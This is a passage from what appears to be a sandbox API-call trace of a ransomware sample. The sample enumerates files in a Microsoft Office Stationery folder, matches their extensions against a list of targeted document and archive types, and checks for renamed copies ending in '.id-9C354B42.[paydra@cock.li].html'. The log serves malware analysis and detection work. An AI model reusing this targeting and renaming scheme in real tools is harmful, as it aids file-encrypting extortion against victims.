Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.076] lstrlenW (lpString=".doc") returned 4 [0044.076] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.076] lstrlenW (lpString=".docx") returned 5 [0044.076] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0044.076] lstrlenW (lpString=".pdf") returned 4 [0044.076] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.076] lstrlenW (lpString=".xls") returned 4 [0044.076] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.076] lstrlenW (lpString=".xlsx") returned 5 [0044.076] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0044.076] lstrlenW (lpString=".ppt") returned 4 [0044.076] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.076] lstrlenW (lpString=".zip") returned 4 [0044.076] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.076] lstrlenW (lpString=".rar") returned 4 [0044.076] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.077] lstrlenW (lpString=".bz2") returned 4 [0044.077] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.077] lstrlenW (lpString=".7z") returned 3 [0044.077] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.077] lstrlenW (lpString=".dbf") returned 4 [0044.077] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.077] lstrlenW (lpString=".1cd") returned 4 [0044.077] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.077] lstrlenW (lpString=".jpg") returned 4 [0044.077] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.077] lstrlenW (lpString=".doc") returned 4 [0044.077] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.077] lstrlenW (lpString=".docx") returned 5 [0044.077] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0044.077] lstrlenW (lpString=".pdf") returned 4 [0044.077] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.077] lstrlenW (lpString=".xls") returned 4 [0044.077] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.077] lstrlenW (lpString=".xlsx") returned 5 [0044.077] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0044.077] lstrlenW (lpString=".ppt") returned 4 [0044.077] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.077] lstrlenW (lpString=".zip") returned 4 [0044.077] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.078] lstrlenW (lpString=".rar") returned 4 [0044.078] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.078] lstrlenW (lpString=".bz2") returned 4 [0044.078] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.078] lstrlenW (lpString=".7z") returned 3 [0044.078] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.078] lstrlenW (lpString=".dbf") returned 4 [0044.078] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.078] lstrlenW (lpString=".1cd") returned 4 [0044.078] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0044.078] lstrlenW (lpString=".jpg") returned 4 [0044.078] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.078] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0044.078] lstrlenW (lpString="Orange Circles.htm") returned 18 [0044.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.078] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=237) returned 1 [0044.078] CloseHandle (hObject=0x218) returned 1 [0044.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0044.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.079] lstrlenW (lpString=".doc") returned 4 [0044.079] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.079] lstrlenW (lpString=".docx") returned 5 [0044.079] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.079] lstrlenW (lpString=".pdf") returned 4 [0044.079] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.079] lstrlenW (lpString=".xls") returned 4 [0044.079] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.079] lstrlenW (lpString=".xlsx") returned 5 [0044.079] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.079] lstrlenW (lpString=".ppt") returned 4 [0044.079] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.079] lstrlenW (lpString=".zip") returned 4 [0044.079] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.079] lstrlenW (lpString=".rar") returned 4 [0044.079] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.079] lstrlenW (lpString=".bz2") returned 4 [0044.079] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.079] lstrlenW (lpString=".7z") returned 3 [0044.079] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.080] lstrlenW (lpString=".dbf") returned 4 [0044.080] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.080] lstrlenW (lpString=".1cd") returned 4 [0044.080] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.080] lstrlenW (lpString=".jpg") returned 4 [0044.080] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.080] lstrlenW (lpString=".doc") returned 4 [0044.080] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.080] lstrlenW (lpString=".docx") returned 5 [0044.080] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.080] lstrlenW (lpString=".pdf") returned 4 [0044.080] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.080] lstrlenW (lpString=".xls") returned 4 [0044.080] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.080] lstrlenW (lpString=".xlsx") returned 5 [0044.080] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.080] lstrlenW (lpString=".ppt") returned 4 [0044.080] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.080] lstrlenW (lpString=".zip") returned 4 [0044.080] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.080] lstrlenW (lpString=".rar") returned 4 [0044.080] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.080] lstrlenW (lpString=".bz2") returned 4 [0044.080] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.081] lstrlenW (lpString=".7z") returned 3 [0044.081] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.081] lstrlenW (lpString=".dbf") returned 4 [0044.081] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.081] lstrlenW (lpString=".1cd") returned 4 [0044.081] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0044.081] lstrlenW (lpString=".jpg") returned 4 [0044.081] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.081] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0044.081] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0044.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.081] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6381) returned 1 [0044.081] CloseHandle (hObject=0x218) returned 1 [0044.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0044.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.082] lstrlenW (lpString=".doc") returned 4 [0044.082] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.082] lstrlenW (lpString=".docx") returned 5 [0044.082] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0044.082] lstrlenW (lpString=".pdf") returned 4 [0044.082] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.082] lstrlenW (lpString=".xls") returned 4 [0044.082] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.082] lstrlenW (lpString=".xlsx") returned 5 [0044.082] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0044.082] lstrlenW (lpString=".ppt") returned 4 [0044.082] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.082] lstrlenW (lpString=".zip") returned 4 [0044.082] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.082] lstrlenW (lpString=".rar") returned 4 [0044.082] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.082] lstrlenW (lpString=".bz2") returned 4 [0044.082] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.082] lstrlenW (lpString=".7z") returned 3 [0044.082] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.082] lstrlenW (lpString=".dbf") returned 4 [0044.082] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.082] lstrlenW (lpString=".1cd") returned 4 [0044.082] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.083] lstrlenW (lpString=".jpg") returned 4 [0044.083] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.083] lstrlenW (lpString=".doc") returned 4 [0044.083] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.083] lstrlenW (lpString=".docx") returned 5 [0044.083] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0044.083] lstrlenW (lpString=".pdf") returned 4 [0044.083] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.083] lstrlenW (lpString=".xls") returned 4 [0044.083] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.083] lstrlenW (lpString=".xlsx") returned 5 [0044.083] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0044.083] lstrlenW (lpString=".ppt") returned 4 [0044.083] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.083] lstrlenW (lpString=".zip") returned 4 [0044.083] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.083] lstrlenW (lpString=".rar") returned 4 [0044.083] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.083] lstrlenW (lpString=".bz2") returned 4 [0044.083] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.083] lstrlenW (lpString=".7z") returned 3 [0044.083] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.083] lstrlenW (lpString=".dbf") returned 4 [0044.083] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.084] lstrlenW (lpString=".1cd") returned 4 [0044.084] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0044.084] lstrlenW (lpString=".jpg") returned 4 [0044.084] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.084] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0044.084] lstrlenW (lpString="Peacock.htm") returned 11 [0044.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.085] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=232) returned 1 [0044.085] CloseHandle (hObject=0x218) returned 1 [0044.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0044.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.085] lstrlenW (lpString=".doc") returned 4 [0044.085] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.085] lstrlenW (lpString=".docx") returned 5 [0044.085] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0044.085] lstrlenW (lpString=".pdf") returned 4 [0044.085] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.085] lstrlenW (lpString=".xls") returned 4 [0044.085] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.085] lstrlenW (lpString=".xlsx") returned 5 [0044.085] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0044.086] lstrlenW (lpString=".ppt") returned 4 [0044.086] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.086] lstrlenW (lpString=".zip") returned 4 [0044.086] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.086] lstrlenW (lpString=".rar") returned 4 [0044.086] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.086] lstrlenW (lpString=".bz2") returned 4 [0044.086] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.086] lstrlenW (lpString=".7z") returned 3 [0044.086] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.086] lstrlenW (lpString=".dbf") returned 4 [0044.086] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.086] lstrlenW (lpString=".1cd") returned 4 [0044.086] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.086] lstrlenW (lpString=".jpg") returned 4 [0044.086] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.086] lstrlenW (lpString=".doc") returned 4 [0044.086] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.086] lstrlenW (lpString=".docx") returned 5 [0044.086] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0044.086] lstrlenW (lpString=".pdf") returned 4 [0044.086] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.086] lstrlenW (lpString=".xls") returned 4 [0044.086] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.087] lstrlenW (lpString=".xlsx") returned 5 [0044.087] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0044.087] lstrlenW (lpString=".ppt") returned 4 [0044.087] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.087] lstrlenW (lpString=".zip") returned 4 [0044.087] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.087] lstrlenW (lpString=".rar") returned 4 [0044.087] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.087] lstrlenW (lpString=".bz2") returned 4 [0044.087] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.087] lstrlenW (lpString=".7z") returned 3 [0044.087] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.087] lstrlenW (lpString=".dbf") returned 4 [0044.087] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.087] lstrlenW (lpString=".1cd") returned 4 [0044.087] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0044.087] lstrlenW (lpString=".jpg") returned 4 [0044.087] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.087] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0044.087] lstrlenW (lpString="Peacock.jpg") returned 11 [0044.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.090] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5115) returned 1 [0044.090] CloseHandle (hObject=0x218) returned 1 [0044.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0044.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.090] lstrlenW (lpString=".doc") returned 4 [0044.090] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.090] lstrlenW (lpString=".docx") returned 5 [0044.090] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0044.090] lstrlenW (lpString=".pdf") returned 4 [0044.090] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.090] lstrlenW (lpString=".xls") returned 4 [0044.090] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.090] lstrlenW (lpString=".xlsx") returned 5 [0044.090] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0044.090] lstrlenW (lpString=".ppt") returned 4 [0044.091] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.091] lstrlenW (lpString=".zip") returned 4 [0044.091] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.091] lstrlenW (lpString=".rar") returned 4 [0044.091] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.091] lstrlenW (lpString=".bz2") returned 4 [0044.091] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.091] lstrlenW (lpString=".7z") returned 3 [0044.091] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.091] lstrlenW (lpString=".dbf") returned 4 [0044.091] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.091] lstrlenW (lpString=".1cd") returned 4 [0044.091] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.091] lstrlenW (lpString=".jpg") returned 4 [0044.091] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.091] lstrlenW (lpString=".doc") returned 4 [0044.091] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.091] lstrlenW (lpString=".docx") returned 5 [0044.091] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0044.091] lstrlenW (lpString=".pdf") returned 4 [0044.091] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.091] lstrlenW (lpString=".xls") returned 4 [0044.091] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.091] lstrlenW 